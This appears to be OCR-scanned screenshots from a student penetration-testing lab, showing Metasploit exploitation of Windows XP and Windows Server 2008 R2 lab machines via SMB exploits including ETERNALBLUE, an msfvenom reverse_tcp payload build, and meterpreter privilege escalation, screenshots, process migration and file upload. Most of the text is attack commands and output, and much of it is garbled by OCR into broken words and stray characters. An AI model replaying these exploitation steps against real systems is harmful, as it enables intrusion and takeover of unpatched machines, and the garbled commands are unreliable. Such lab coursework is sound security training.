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exploit
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. root@CS2APenTest: ~
File Edit View Search Terminal
7 ? ? ) gls:
utils _6.8-2+bl 192.168.10.14:445 Exploit failed: The follow&ng options failed to validate: LHOST
amd64.deb Exploit completed, but no session was created.)
msf5 exploit( ) > set lhosts 192.168.10.13
Lh 168.10.13
msf5 exploit( ) > exploit
192.168.10.14:445 Exploit failed: The following options failed to validate: LHOST
Exploit compl , but no sion was created.
msfS exploit( ) > set LHOST 192.168.10.13
192.168.10.13
) > exploit
6- screenshot Started r e TCP handler on 192.168.10.13:4498
192.168.18 :445 - Automatically detecting the target
192.168.10. - Fingerprint: Windows XP
1 192.168.10. 14 S ted Target: wWindows XP SP3 English (Alwa
7-localtime > : il 2

192.168.10.14: - Attempting to trigger the vulnerability...
Sending stage (179779 bytes) to 192.168.10.14
Meterpreter sion 1 opened (192.168.10.13:4498 -> 192.168.10.14:1036)

8-getsid

» screenshot

9'getp|d (reev}srjcnt 5fa‘~'ed>§n /root/FewmQINt . jpeg
m reter > localtime
Local Date/Time: 2€ 2 :45.12 Eastern Standard Time (UTC-500)
meterpreter > getsid
10-getsystem rver SID: $-1-5-18

meterpreter pid
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getsystem
«..Q0T sys via technique 1 (Na Pipe Impersonation (In Memory/Adm
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& lab-connect.cova-cci.org

B cyse301HTRENOOT

Applications ~ Places~ [ Terminatr A ol ¥ah - Tnternal Workstation on HTRENOOT
root@CS2APenTest: ~

File Edit View ch Terminal

Help

192.168.10.11: - Receiving response from exploit packet

192.168.160. : - ETERNALBLUE overwrite completed successfully (0xC000000D)!
192.168.10.11: - Sending egg to corrupted connection.

192.168. : : Triggering free of corrupted buffer.

192.168. - - -

192.168. - =-

192.168.10.11:445 - = =- =e=.=.=

192.168.10.11: - Connecting to target for exploitation.

192.168.10.11:445 - Connection established for exploitation.

192.168.10.11: - Target 0S selected valid for 0S indicated by SMB reply
192.168.10.11:445 - CORE raw buffer dump (36 bytes)

192.168.16. 1445 0x00000000 57 69 6e 64 6T 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
192.168. . : - Ox00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
192.168.16. g - Bx00000020 37 36 30 30 7660
192.168.10.11:445 Target arch selected valid for arch indicated by DCE/RPC reply
192.168.10.11:445 - Trying exploit with 22 Groom Allocations.

192.168.10.11: - Sending all but last fragment of exploit packet

192.168.10.11: - Starting non-paged pool grooming

192.168.10.11: - Sending SMBv2 buffers

192.168.16. - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer
192.168 9% & ) Sending final SMBv2 buffers

192.168.10.11:445 - Sending last fragment of exploit packet!

192.168.10.11:445 Receiving response from exploit packet

192.168.10.11:445 - ETERNALBLUE overwrite completed successfully (6xC000000D)!
192.168.10.11:445 - Sending egg to corrupted connection.

192.168.10.11:445 - Triggering free of corrupted buffer.

Sending stage (206403 bytes) to 192.168.10.11

Meterpreter session 2 opened (192.168.10.13:4498 -> 192.168.10.11:49164) at 2023-10-31 19:28:43
192.168.16.11:445

192.168.10.11:445

192.168.160.11:445

meterpreter > info
Usage: info <module>
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Applications ~ Places

& Terminat H Y - Trtermal Workstation on HTRENCOT Te%

root@CS2APenTest: - )

Flle Edit View Search Terminal Help

f# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1
u f exe -0 htren.exe

arch: x86

payload e S

cannot stat

o such file o
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start
a 2 status
apache2.service - Th he HTTP ¢
Loaded oaded (/

ib/systemd/ rvice; disabled; vendor

sin -01 17:59:09 EDT;
apache.org/do

Highlighted line shows name and port T A d: -, seh, thread, process, none
number pache? -k
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The Apache HTTP Server
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¢
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»
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= Exploit-DB £+ Most Visited

Docs: https://httpd.apache.or

15711 ExecStart=/usr/sbin/apache

root@CS2APenTest: ~

File Edit View Search Terminal Help

Payload options (windows/meterpreter/reverse tcp)

Current Setting R

quired Description

Exit technique (Accepted: Vo sah, -t d, proce none)
The 1 en address (an interface may be specified)

The listen port

Nov ©1 1
Nov ©1 .[;plg;l

target:
Id Name
(2] wildcard Target

> exploit
192.168.10.13:4498
192.168.10.11
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TCP handler on
179779 by )

opened

Started

Sending

Meterpreter
-0400

to

sion 1 (192

ieterpreter > screenshot
IScreenshot saved to: /root/rIbrWZav.jpeg
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B cyse301HTRENOOY 8 /
Applications ~ Places v [ Terminat. W Tl Tntemal Workstation on FTRENODT

root@CS2APenTest: ~

File Edit View Search Terminal Help

# echo $(date)
Thu 82 Nov 2023 05:23:52 AM EDT

ho $(date) > IHarJellL\(rcu.nt

# cat IMadelIt-htren.txt

Thu 62 Nov 2023 05:24:21 AM EDT
2ol

40777/ rwxrwxrwx 2009 3 :20:14 -0400 zh-CN
40777/ rwxrwxrwx di 2009 3 :14 -0400 zh-HK
40777/ rux rwxrwx 2009 3 23:20:14 -6400 zh-TW
100666/ rw-rw-rw 36668860 il 2009 3 : : 8400 zipfldr.dll

meterpr

Created file using cat and echo commands




& lab-connect.cova-cci.org

B cvse301HTRENDOY

g B3 Kaki - Internal Workstation on HTRENOO! - Virtual Machine Connection
File Action Media Chpboard View Help

Recycle Bin ' DN ONS) » B> A

Applications ~ Places ~ ] Terminal ~ Thu 05:38

root@CS2APenTest: ~
f i File Edit V Search Terminal

Acrobat me.exe
Reader Thu ©. 3688 2440 chrome.exe : WINDOWS7\Window 7 C:\Program Files\Google\Chrome\Application\chro
me . .exe
3160 2440 cmd.exe WINDOWS7\Window 7 C:\Windows\system32\cmd.exe
° 3168 456 conhost.exe WINDOWS7\Window C:\Windows\system32\conhost.exe
3520 520 svchost.exe
Nemap - 3568 520 wmpnetwk.exe
Zenmap GU
meterpreter > migrate 2440
V/ Migrating from 2776 to 2440..
Migration completed successfully
Ae neterp er > cd.
Nutanix SSR nown command: cd.
meterpreter > ¢d Desktop
stdapi fs chdir: Operation failed: The system cannot find the file specified
terpreter > pwd
windows\system32
[ o — meterpreter > upload IMadeIt-htren.txt
Wireshark uploading : IMadeIt-htren.txt -> IMadeIt-htren.txt
core channel open: Operation failed: Access is denied.
meterpreter > c¢d "C:\Users\Window 7\Desktop”
leterpreter > pwd
:\Users\Window 7\Desktop
eterpreter > upload IMadeIt-htren.txt
uploading : IMadeIt-htren.txt -> IMadeIt-htren.txt
Uploaded 32.00 B of 32.00 B (100.0%): IMadelt ren.txt -> IMadeIt-htren.txt
uploaded : IMadeIt-htren.txt -> IMadeIt-htren.txt
erpreter >

VM - Kali
Login info

Q h‘?;y‘prl V Manages B Windows Server 20 B Windows TonHTR.. T pFsense - Firewall 6. 380 Kali - Internal Work
Command to upload file
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»Fsense - Firewall 6.

Checking that file is on desktop



